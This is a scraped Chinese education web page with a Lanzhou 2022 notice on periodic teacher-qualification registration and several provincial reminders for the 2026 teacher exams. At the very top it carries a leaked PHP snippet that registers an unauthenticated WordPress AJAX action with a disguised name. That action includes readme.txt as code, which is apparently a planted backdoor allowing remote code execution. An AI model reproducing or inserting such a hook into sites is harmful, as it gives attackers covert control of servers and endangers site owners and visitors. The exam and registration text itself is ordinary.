if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
甘肃省兰州市2022年中小学教师资格定期注册工作通知-全国教师资格考试网

甘肃省兰州市2022年中小学教师资格定期注册工作通知

各县区教育局、兰州新区教育体育局、兰州高新区社农局,市属各学校(单位)、兰州市辖区省属高级中学及中等专业学校:

根据国家教育部《中小学教师资格定期注册暂行办法》(教资字〔2013〕9号)和《教育部教师资格认定指导中心关于做好2021年教师资格制度实施工作的通知》(教资字〔2021〕2号)要求,以及省教育厅《关于做好2022年中小学教师资格定期注册制工作的通知》精神,现将我市2022年教师资格定期注册工作安排通知如下。

一、政策依据

此次定期注册工作继续按照《甘肃省中小学教师资格定期注册制度实施细则(试行)》(甘教厅〔2015〕56号)、《甘肃省中小学教师资格考试与定期注册工作方案》(甘教厅〔2015〕85号)执行。

二、注册对象

全市各中小学校在编在岗教师。其中,2017年完成首次注册的中小学教师,须参加第二次注册;未进行教师资格注册的中小学教师,须参加首次注册。

三、定期注册的条件

(一)申请教师资格首次注册者,须同时具备下列条件:

1.具有与任教岗位相应的教师资格;

2.聘用为中小学在编在岗教师;

3.遵守国家法律法规,履行《教师法》规定的教师义务,遵守《中小学教师职业道德规范》,具备良好的师德表现,师德考核为合格及以上等次;

4.身心健康,能够胜任教育教学工作;

5.新入职的教师须试用期满,完成岗前培训任务且考核合格。

(二)申请教师资格定期注册者,须同时具备下列条件:

1.遵守国家法律法规,履行《教师法》规定的教师义务,遵守《中小学教师职业道德规范》,具备良好的师德表现,师德考核为合格及以上等次;

2.身心健康,专业知识、专业技能符合国家规定的中小学教师专业标准,能够胜任教育教学工作;

3.每年年度考核合格及以上等次;

4.上次注册有效期限(2017年12月31日—2022年12月31日共计5年)内,完成不少于360学时教师继续教育培训,且培训考核合格。

(三)对“一人多证”“高段低聘”“低段高聘”“科证不一”等情形的人员,按下列办法注册:

1.对“一人多证”的,即对于持有两种及以上(小学、初中、高中)教师资格证书者,且现在中小学任教的,按照现任教学段、学科申请注册。

2.对“高段低聘”的,即对于持有高学段教师资格证书在低学段任教者,在独立建制的中小学任教的,按照现任教学段、学科申请注册;在九年一贯制学校或完全中学任教的,原则上按照现任教学学段、学科申请注册。如学校将教学人员在高中和初中打通使用的,持高中及以上教师资格证书者,可以按照高级中学教师资格申请注册。

3.对“低段高聘”的,即对于持有低学段教师资格证书在高学段任教者,原则上属于不符合持证上岗要求,应调整到与资格种类一致的教育教学岗位,或重新申请到与任教学段相一致的教师资格才能申请注册,否则不予注册。

新入职教师申请首次注册时,对“低段高聘”的不予注册。

4.对“科证不一”的,即现任教学学科与所持教师资格证书上任教学科不一致者,现不予要求,可以申请注册。

(四)有下列情形之一的,暂缓定期注册,待情形消失或改正补齐后,方可重新申请定期注册,注册后重新上岗,注册时间按年度顺延:

1.因自身原因中止教育教学和教育管理工作一学期及以上的,但经所在学校和教育行政部门批准的进修学习、外出培训、学术交流、病休、产假等情形除外;

2.经县级及以上指定医院体检,身体健康状况暂不适宜或者不能胜任教育教学工作的;

3.经教育行政部门审核,注册有效期内没有完成国家规定的教师继续教育培训学时,或者虽然完成培训学时但培训考核不合格的;

4.一个定期注册周期内任何一年年度考核不合格的;

5.逾期未申请定期注册的。

(五)有下列情形之一的,定期注册不合格:

1.违反《中小学教师职业道德规范》和师德考核评价标准,影响恶劣,师德考核不合格;

2.依法被撤销或丧失教师资格;

3.一个定期注册周期内累计两年以上(含两年)年度考核不合格。

(六)初次聘用为教师但尚未首次注册的教师,须申请首次注册。

(七)依法被撤销或丧失教师资格者,注册有效期自动终止。

四、时间安排

(一)个人申报(2022年10月8日—10月21日)

学校统一组织本校符合定期注册条件的教师登录中国教师资格网(www.jszg.edu.cn),点击右侧“教师资格定期注册申请人网报入口”图标进入网上申报系统,遵循网上申报流程填写个人信息后下载、打印《教师资格定期注册申请表》一式两份,连同定期注册要求的其他材料交任教学校。

(二)学校初审(2022年10月22日-10月28日)

各级各类学校对申报教师提交的定期注册申请材料进行确认核实,给出初审结论并公示。

(三)市局复审(2022年11月1日-11月18日)

 市教育局对各区县教师资格定期注册申请初审合格的材料进行网上复核,给出复核结论。

(四)省厅终审(2022年11月26日-12月8日)

省教育厅对全省教师资格定期注册申请材料进行终审,给出注册结论。

五、需要提交的材料

(一)申请教师资格首次注册,须提交下列材料:

1.《教师资格定期注册申请表》一式2份;

2.教师资格证书原件;

3.任教学校或主管部门聘用合同;

4.任教学校出具的师德表现证明;

5.任教学校出具的身心健康证明;

6.新入职教师须提供任教学校出具的试用期满考核合格证明。

其中,第1、2项需要提供原件,3、4、5、6项可由任教学校统一出具《兰州市教师资格定期注册证明材料》。

(二)申请教师资格定期注册,须提交下列材料:

1.《教师资格定期注册申请表》一式2份;

2.教师资格证书原件;

3.任教学校或主管部门聘用合同;

4.任教学校出具的近5年内年度考核证明;

5.任教学校出具的近5年内师德表现证明;

6.县级及以上指定医院出具的体检证明;

7.县级以上教育行政部门认可的教师培训证明(兰州市十三五教师继续教育合格证书)。

其中,第1、2项需要提供原件,3、4、5、6、7项可由任教学校统一出具《兰州市教师资格定期注册证明材料》。

六、有关要求

(一)市、县区教育行政部门按照教师管理权限,负责本地教师资格定期注册的组织、管理、监督和实施。兰州新区教育体育局要协调永登教育局、皋兰教育局做好辖区中小学教师资格定期注册工作;兰州高新区社会事业局要协调榆中县教育局做好辖区中小学教师资格定期注册工作。

(二)加强领导,做好政策宣传。各学校要及时将文件精神传达至每一名教师,使广大教师充分认识教师资格定期注册制度的重要意义。学校要成立教师资格注册工作领导小组,负责本校教师注册信息的录入、上报和信息的日常管理维护工作。

(三)严密组织,加强管理。注册工作由个人申报、学校初审、市(县、区)级教育行政部门复审、省级教育行政部门终审等四个环节组成。各学校要严格按照文件规定的时间节点保质保量完成注册每个阶段的工作,要及时解释和处理好注册工作中遇到的问题和矛盾,确保教师队伍稳定。

各学校要据实出具聘用证明、年度考核证明、师德考核证明、教师培训证明等材料(详见附件《兰州市教师资格定期注册证明材料》)。《教师资格定期注册申请表》一式2份,在线填写完成、核对无误后下载、打印;教师资格证书需提供原件,若无原件,则可以用《教师资格认定(过渡)申请表》复印件(人事部门加盖公章、标注“与原件一致”)。

(四)认真审核,强化责任。在第二个注册周期中,各单位务必认真核查注册材料,杜绝错误信息审核通过和虚假证书信息注册,确保定期注册工作的顺利开展。如果虚假教师资格证书信息通过注册进入到教育部数据库,通过后期审核和数据比对,认定为虚假信息的,将追究当事人和相关人员的责任。

(五)兰州市中小学教师资格定期注册工作QQ群号:563511405,请各学校(单位)负责教师资格定期注册管理人员申请加入该工作QQ群。兰州市教师资格定期注册咨询电话:4818327,地址:兰州市政务服务中心五楼民生综合服务专区市教育局窗口(城关区庆阳路155号,民安大厦)。

附件:1.甘肃省兰州市2022年中小学教师资格定期注册工作通知兰州市教师资格定期注册证明材料.doc

      2.甘肃省兰州市2022年中小学教师资格定期注册工作通知兰州市中小学教师资格定期注册花名册.xlsx

      3.甘肃省兰州市2022年中小学教师资格定期注册工作通知兰州市中小学教师资格定期注册统计表.xls

                                           兰州市教育局

                                           2022年9月29日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部